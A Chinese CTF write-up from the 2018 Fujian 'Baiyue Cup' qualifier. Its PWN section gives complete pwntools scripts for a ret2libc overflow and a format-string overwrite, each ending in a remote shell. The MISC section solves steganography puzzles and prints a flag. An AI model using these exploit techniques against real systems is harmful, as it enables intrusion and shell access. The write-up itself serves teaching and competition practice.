2018福建省“百越杯”CTF初赛writeup

PWN

Boring Game

题目描述 nc 117.50.59.220 12345
解题经过下载下来后有两个文件pwnlibc.so.6。所以很明显是RET2LIBC的类型

检查文件安全性

程序源代码

int __cdecl main(int argc, const char **argv, const char **envp)
{write(1, "Hello, welcome to a boring game.\n", 0x22u);fflush(_bss_start);game();return 0;
}
int game()
{int v1; // [esp+0h] [ebp-58h]char buf[64]; // [esp+4h] [ebp-54h]int v3; // [esp+44h] [ebp-14h]unsigned int seed; // [esp+48h] [ebp-10h]ssize_t v5; // [esp+4Ch] [ebp-Ch]puts("What's your name ?");fflush(_bss_start);v5 = read(0, buf, 0x80u);if ( v5 <= 64 )buf[v5 - 1] = 0;printf("Hi ,%s.  Let's play a game.\nCan you guess a number ? (0 - 1024)\n", buf);fflush(_bss_start);seed = time(0);srand(seed);v3 = rand() % 1025;__isoc99_scanf("%d", &v1);if ( v1 == v3 )printf("Why are so niubi! number is %d\n", v3);elseprintf("Sorry, you only have one chance here.\nnumber is %d\n", v3);return fflush(_bss_start);
}

相关函数:

解题思路

step1: 获取write函数的地址
step2: 获取write函数在Libc里面的的偏移
step3: 计算出基地址
step4: 获取system和“/bin/sh”的偏移
step5: 计算system和"/bin/sh”的地址
最后getshell

测量溢出长度

测量得padding88个无效字符后可以控制EIP

获取write函数的地址

因为write函数一开始就已经使用过,所以这个时候的got表的内容是真实的地址
可以使用ELF导入libc后用got函数进行获取
或者objdump出汇编代码找到如下信息:

08048420 <read@plt>:8048420:  ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c8048426:   68 00 00 00 00          push   0x0804842b:  e9 e0 ff ff ff          jmp    8048410 <.plt>

其中0x804a00c就是write函数在got表中的地址

获取write函数的偏移

这里使用pwntools的elf导入libc库,再用symbols进行定位

from pwn import *
libc = ELF('libc.so.6')
write_off = libc.symbols['write']
计算基地址

这里就要开始构造payload,目的是让函数在返回的时候控制EIP让它跳转到puts函数,然后把write函数的got表中的值泄露出来。
payload = 'a'*88 + p32(puts_addr) + p32(main_addr) + p32(write_got)
泄露之后用真实地址减去偏移就可以得到基地址
base_addr = write_addr - write_off

计算system和"/bin/sh"地址
from pwn import *
libc = ELF('libc.so.6')
write_off = libc.symbols['system']
bin_sh_off = libc.search('/bin/sh').next()
system_addr = system_off + base_addr
bin_sh_addr = bin_sh_off + base_addr

EXP

from pwn import *#context.log_level = 'debug' libc = ELF('libc.so.6')
p = remote('117.50.59.220',12345)
puts_addr = 0x08048460
main_addr = 0x080486f9
write_off = libc.symbols['write']
system_off = libc.symbols['system']
bin_sh_off = libc.search('/bin/sh').next()
write_got = 0x804a028
#log.info(hex(put_got))
log.info('write_off: '+hex(write_off))
log.info('system_off: '+hex(system_off))
log.info('bin_sh_off: '+hex(bin_sh_off))payload = 'a'*88 + p32(puts_addr) + p32(main_addr) + p32(write_got)
p.recvuntil(" ?")
p.send(payload)
p.recvuntil('? (0 - 1024)\n')
sleep(0.5)
p.sendline('1')print p.recv()
recvinfo = p.recv().split('\n')[1].replace('\x00','')
write_addr = u32(recvinfo)
log.info(hex(write_addr))
base_addr =  write_addr - write_off
system_addr = system_off + base_addr
bin_sh_addr = bin_sh_off + base_addrprint "[*] Got baseaddr =",hex(base_addr)
print "[*] Got execveaddr =",hex(system_addr)
print "[*] Got /bin/sh addr =",hex(bin_sh_addr)payload2 = 'a'*88 + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
p.sendline(payload2)
p.recvuntil('? (0 - 1024)\n')
p.sendline('1')p.interactive()
细节处理

这里连上服务器之后,在传回来的数据中,泄露的write函数地址会接在其他字符串后面,所以需要处理一下。
在本地测试的时候传回来的数据内容略有不同,所以如果要在本地调试的话,截取write函数的地址的代码需要做修改。

Format

这题几乎是原题,很简单的格式化字符串漏洞题目。

题目描述 Maybe wo gen boring nc 117.50.13.182 33865

解题经过

程序源代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{char s; // [esp+1Ch] [ebp-8Ch]unsigned int v5; // [esp+9Ch] [ebp-Ch]v5 = __readgsdword(0x14u);memset(&s, 0, 0x80u);fgets(&s, 128, stdin);printf(&s);if ( secret == 192 )give_shell();elseprintf("Sorry, secret = %d\n", secret);return 0;
}
int give_shell()
{__gid_t v0; // ST1C_4v0 = getegid();setresgid(v0, v0, v0);return system("/bin/sh -i");
}

漏洞点在printf(&s),所以可以用%x&n对目标地址中的值进行改写。

本题不需要测量溢出长度,但是需要测量泄露的地址中的内容是从哪里开始是我们需要的:
所以输入的开始部分是从第11个开始

EXP

from pwn import *
#context.log_level = 'debug'r = remote('117.50.13.182',33865)
#r = process('./format')payload1 = p32(0x0804A048)+'%188u%11$n'
#print payload1
r.sendline(payload1)
print r.recv()r.interactive()

MISC

马男波杰克

题目描述 马男说了要学会百度

解题经过

直接使用在线的工具即可

http://www.atool.org/steganography.php

签到题

题目描述 欢迎参加百越杯,首先我们得放轻松,活动一下脑经,比如做做数独怎么样?flag格式:flag{全部数字排成一行(横向81位)的小写md5值}

解题经过

偷个懒,使用在线数独求解器求解数独

http://www.llang.net/sudoku/calsudoku.html


flag{cee3860fb3f4a52e615fa8aaf3c91f2b}

血小板天下第一可爱

题目描述 听过LSB隐写吗?

解题经过

首先补全残缺的二维码,得到key: Lsb_1s_gr3at
之后到如下地址下载解密还原脚本

python lsb.py extract 1.png 1.txt Lsb_1s_gr3at

再用python lsb.py extract 1.png flag.txt Lsb_1s_gr3at把flag还原出来:

flag_universe

题目描述 please find the flag in our universe!

解题经过

打开流量包,使用筛选器筛出ftp数据流

然后追踪tcp流量,分析后发现是有上传和下载universe.png的操作,逐一提取出来:

之后发现up01.png图片存在lsb隐写:

2018福建省“百越杯”CTF初赛writeup相关推荐

  1. 2018 百越杯 pwn(format WriteUp)

    看到题目的内容,就知道大概是格式化漏洞了, 马上扔到IDA看个究竟. 不出所料,就是printf的格式化输出漏洞 思路: 1.利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要 ...

  2. 2018“百越杯”第四届福建省高校网络空间安全大赛部分题目writeup

    2018"百越杯"第四届福建省高校网络空间安全大赛writeup 0x00题目存档: 链接: https://pan.baidu.com/s/1v59VfheEC5XY8vyKvg ...

  3. 2020羊城杯CTF随缘Writeup

    2020羊城杯CTF随缘Writeup docker源码链接: https://github.com/k3vin-3/YCBCTF2020 Web部分 a_piece_of_java 考点:源码审计. ...

  4. 第五空间CTF初赛WriteUp By EDISEC

    第五空间CTF初赛WriteUp By EDISEC Web 5_web_Eeeeasy_SQL 5_web_BaliYun 5_easylogin 5_web_letmeguess_1 Misc s ...

  5. python123平台作业答案第十二周_【2018年 网鼎杯CTF 第二场】红日安全-网鼎杯WriteUp(24日 更新:web详解)...

    本次比赛主要由红日安全ctf小组奋力拼搏,才可以拿到第二场第四的成绩.感谢他们的付出,才可以让我们看到精彩的wp 1.签到题 2.虚幻 题目提示汉信码.使用 binwalk 提取出 9 张图,拼接成如 ...

  6. 2018 百越杯 pwn(Boring Game Write up)

    拿到题目,发现有libc库,想到应该就是要用到ret2libc了 先把pwn扔到IDA看看先 发现有明显的溢出漏洞. 发现程序是32位,且只开启了NX保护 利用思路: 1.泄漏__libc_start ...

  7. 2019百越杯初赛——哈尔的移动城堡

    0x04 哈尔的移动城堡 操作内容:下载文件,得到一个压缩包,压缩包里有两张图片,第一张 102%,打开winhex,改文件头 把89474E50改为89504E47,再把文件的后缀名改为" ...

  8. ctf php168,【2018年 网鼎杯CTF 第一场】教育组 WP — Lilac

    Team: Lilac [TOC] misc 签到 回复公众号即可 clip 对damaged.disk分析可知包含png图片,提取图片得到了两张图片. 修复png文件头, 对图片还原PS等,得到fl ...

  9. 百越杯 Reverse (crazy write up)

    拿到程序后,先常规跑一跑: 然后我就把它扔到IDA看看 IDA SHIFT + F12 看到flag关键字,于是我就点击进去,并查看交叉引用 由此分析可以得出,flag可能是在if判断正确后输出的 于 ...

最新文章

  1. python3.7源码分析-集合(set)
  2. 在AI Studio上部署外部可以直接调用的云端服务
  3. 如何在Python中定义二维数组
  4. python用numpy和pil处理图像成灰度图_「火炉炼AI」机器学习047-图像的直方图均衡化操作...
  5. Lua脚本语法说明(修订)
  6. ubuntu11.10 samba服务器配置
  7. pytorch 全局变量_Pytorch如何通过深度学习展现全局
  8. java程序样例_一个完整的java程序示例
  9. 二十.激光、视觉和惯导LVIO-SLAM框架学习之相机内参标定
  10. 谁敢花35万再加盟瑞幸?
  11. 20135304刘世鹏——信息安全系统设计基础第九周总结
  12. Unity3D基础18:物体查找与控制
  13. DELPHI基础教程 第七章 剪贴板和动态数据交换
  14. ArcGIS操作小技巧(五)之色带-----横向(水平)图例
  15. springboot mybatis如何打印出查询语句_Java 面试,如何坐等 offer?
  16. 想要挣钱创收 那就用脚本操作手机群控软件啊
  17. SpringBoot使用LibreOffice word转换PDF
  18. HTML5+CSS+DIV 新海诚电影简介
  19. 实战教程:平面设计配色原则
  20. 将Unity地形以Wavefront Obj格式导出

热门文章

  1. flask:sqlalchemy.exc.InvalidRequestError
  2. argis怎么关掉对象捕捉_ArcGIS常用快捷键
  3. python时间加一个月减一个月_python 下个月
  4. 有关于拼多多的关键词搜索咱们来看看
  5. [论文阅读](对比学习系列)
  6. 弹指之间 -- 和弦
  7. Cesium 批量移除 primitive
  8. 国瀚实业|家庭成熟期如何进行理财规划
  9. C#中队列的实现原理
  10. 服务型政府背景下移动政务建设的重要性及策略